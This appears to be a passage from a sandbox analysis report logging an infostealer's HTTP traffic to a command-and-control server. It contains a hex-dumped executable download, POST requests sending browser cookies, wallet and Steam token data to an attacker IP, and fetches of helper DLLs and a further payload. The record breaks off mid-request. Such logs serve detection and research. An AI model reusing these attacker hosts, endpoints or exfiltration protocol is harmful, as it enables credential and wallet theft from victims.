Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 22:13:04 GMTContent-Type: application/octet-streamContent-Length: 1912832Last-Modified: Wed, 20 Nov 2024 21:49:12 GMTConnection: keep-aliveETag: "673e5958-1d3000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4b 00 00 04 00 00 ea ed 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 80 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 80 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 75 75 74 66 68 7a 79 00 20 1a 00 00 70 31 00 00 12 1a 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6e 71 63 66 74 64 75 00 10 00 00 00 90 4b 00 00 04 00 00 00 0a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4b 00 00 22 00 00 00 0e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 42 43 38 38 41 30 36 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="hwid"F54BC88A069D1524750037------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="build"mars------BKJDGCGDAAAKECAKKJDA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 2d 2d 0d 0a Data Ascii: ------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------JJKJDAEBFCBKECBGDBFCContent-Disposition: form-data; name="message"browsers------JJKJDAEBFCBKECBGDBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="message"plugins------HJJKJJDHCGCAECAAECFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"fplugins------EGDGCGCFHIEHIDGDBAAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECBHost: 185.215.113.206Content-Length: 6891Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 42 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 42 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CGDBFBGIDHCAAKEBAKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="file"------CBGCGDBKEGHIEBGDBFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEHost: 185.215.113.206Content-Length: 3083Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file"------HIIIJDAAAAAAKECBFBAE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEHJJECAEGCAAAAEGIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 48 4a 4a 45 43 41 45 47 43 41 41 41 41 45 47 49 45 2d 2d 0d 0a Data Ascii: ------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------DAEHJJECAEGCAAAAEGIEContent-Disposition: form-data; name="message"wallets------DAEHJJECAEGCAAAAEGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="message"files------GIIJEBAECGCBKECAAAEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJEHDBGHIEBGCGDGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 45 48 44 42 47 48 49 45 42 47 43 47 44 47 48 2d 2d 0d 0a Data Ascii: ------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CBAKJEHDBGHIEBGCGDGHContent-Disposition: form-data; name="file"------CBAKJEHDBGHIEBGCGDGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="message"ybncbhylepme------BFCFBKKKFHCFHJKFIIEH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; 